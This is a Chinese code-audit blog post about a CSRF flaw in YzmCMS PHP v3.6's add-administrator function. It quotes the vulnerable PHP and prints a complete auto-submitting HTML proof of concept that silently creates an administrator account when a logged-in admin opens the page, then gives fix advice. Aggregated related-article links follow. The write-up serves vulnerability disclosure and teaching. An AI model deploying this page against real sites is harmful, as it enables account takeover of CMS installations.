【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析
0x00 环境准备
YzmCMS官网:http://www.yzmcms.com/
程序源码下载:http://pan.baidu.com/s/1pKA4u99
测试网站首页:

0x01 代码分析
1、文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:
- public function add() {
- $admin = D('admin');
- $admin_role = D('admin_role');
- $roles = $admin_role->where(array('disabled'=>'0'))->select();
- if(isset($_POST['dosubmit'])) {
- if(!is_username($_POST["adminname"])) return_json(array('status'=>0,'message'=>L('user_name_format_error')));
- if(!is_password($_POST["password"])) return_json(array('status'=>0,'message'=>L('password_format_error')));
- if($_POST["email"]!=''){
- if(!is_email($_POST["email"])) return_json(array('status'=>0,'message'=>L('mail_format_error')));
- 10. }
- 11. $res = $admin->where(array('adminname'=>$_POST["adminname"]))->find();
- 12. if($res) return_json(array('status'=>0,'message'=>L('user_already_exists')));
- 13.
- 14. $_POST['password'] = password($_POST['password']);
- 15. $r = $admin_role->field('rolename')->where(array('roleid' => $_POST['roleid']))->find();
- 16. $_POST['rolename'] = $r['rolename'];
- 17. $_POST['addtime'] = SYS_TIME;
- 18. $_POST['addpeople'] = $_SESSION['adminname'];
- 19. $admin->insert($_POST);
- 20. return_json(array('status'=>1,'message'=>L('operation_success')));
- 21. } else {
- 22. include $this->admin_tpl('admin_add');
- 23. }
- 24.
25. }
这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。
0x02 漏洞利用
1、构造CSRF漏洞利用代码如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <title>OWASP CRSFTester Demonstration</title>
- </head>
- <body onload="javascript:fireForms()">
- <script language="JavaScript">
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis);
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i<count; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
2、当管理员浏览该页面时,自动创建管理员账号admin

3、利用admin账号可成功登录后台进行任意操作。

0x03 修复建议
1、通过token或者session来判断当前用户身份
2、敏感操作需要验证码,更改密码需要验证老密码。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析的更多相关文章
- php代码审计7审计csrf漏洞
跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造 漏洞危害:攻击者盗用了你的身份信息,以你的 ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 代码审计之DocCms漏洞分析
0x01 前言 DocCms[音译:稻壳Cms] ,定位于为企业.站长.开发者.网络公司.VI策划设计公司.SEO推广营销公司.网站初学者等用户 量身打造的一款全新企业建站.内容管理系统,服务于企业品 ...
- Web 漏洞分析与防御之 CSRF(二)
原文地址:Web 漏洞分析与防御之 CSRF(二) 博客地址:http://www.extlight.com 一.全称 跨站请求伪造(Cross-site Request Forgery) 二.原理 ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- PHP代码审计笔记--CSRF漏洞
0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...
- 2020/1/30 PHP代码审计之CSRF漏洞
0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...
- CSRF 漏洞测试
CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...
- 74CMS 3.0 CSRF漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
随机推荐
- CNUTCon2017全球运维技术大会(持续更新中) - 斯达克学院 - 实战驱动的 IT 教育平台 - Powered By EduSoho
CNUTCon2017全球运维技术大会(持续更新中) - 斯达克学院 - 实战驱动的 IT 教育平台 - Powered By EduSoho https://new.stuq.org/cours ...
- [Java web]Spring+Struts2+Hibernate整合过程(2)
摘要 上篇文章介绍了一种整合方式,不妨就叫做有hibernate配置文件的方式,这里介绍一种不用hibernate.cfg.xml的一种配置方式,为了方便,就仍在上篇的demo中,继续修改了. 步骤 ...
- Mysql高效插入/更新数据
从tushare抓取到的财务数据,最开始只是想存下来,用的办法想简单点,是:插入--报错-update 但发现这个方法太蠢,异常会导致大量无效连接,改为: for idx,row in d2.iter ...
- NModbus类库使用
通过串口进行通信 : 1.将 NMobus 类库导入工程中,添加引用.命名空间.工程属性必须配置 为 .NET 4.0. 2.创建 SerialPort 类的一个实例,配置参数,打开串口,如: pub ...
- python新建txt文件,并逐行写入数据
#coding=utf-8 txtName = "codingWord.txt"f=file(txtName, "a+")for i in range(1,10 ...
- SpringBootWEB项目和非Web项目的全局异常捕获
一.简介 SpringBoot的WEB异常捕获,如果是WEB项目的话,可以直接处理Controller中的异常.如果不是WEB项目的话,就需要使用AspectJ来做切面. 二.WEB项目 packag ...
- NuGet Package Explorer
https://www.microsoft.com/zh-cn/store/p/nuget-package-explorer/9wzdncrdmdm3?ocid=badge&rtc=1
- Spark机器学习(2):逻辑回归算法
逻辑回归本质上也是一种线性回归,和普通线性回归不同的是,普通线性回归特征到结果输出的是连续值,而逻辑回归增加了一个函数g(z),能够把连续值映射到0或者1. MLLib的逻辑回归类有两个:Logist ...
- 【PMP】合同类型
合同类型与适用场景 图形解读: 总价类 (1)固定总价类合同:货物的采购价格在一开始就已确定,并且不允许改变(除非工作范围发生变更) (2)总价加激励费合同:同会设置价格上限,高于此价格的上限的全部成 ...
- python3用BeautifulSoup用re.compile来匹配需要抓取的href地址
# -*- coding:utf-8 -*- #python 2.7 #XiaoDeng #http://tieba.baidu.com/p/2460150866 #标签操作 from bs4 imp ...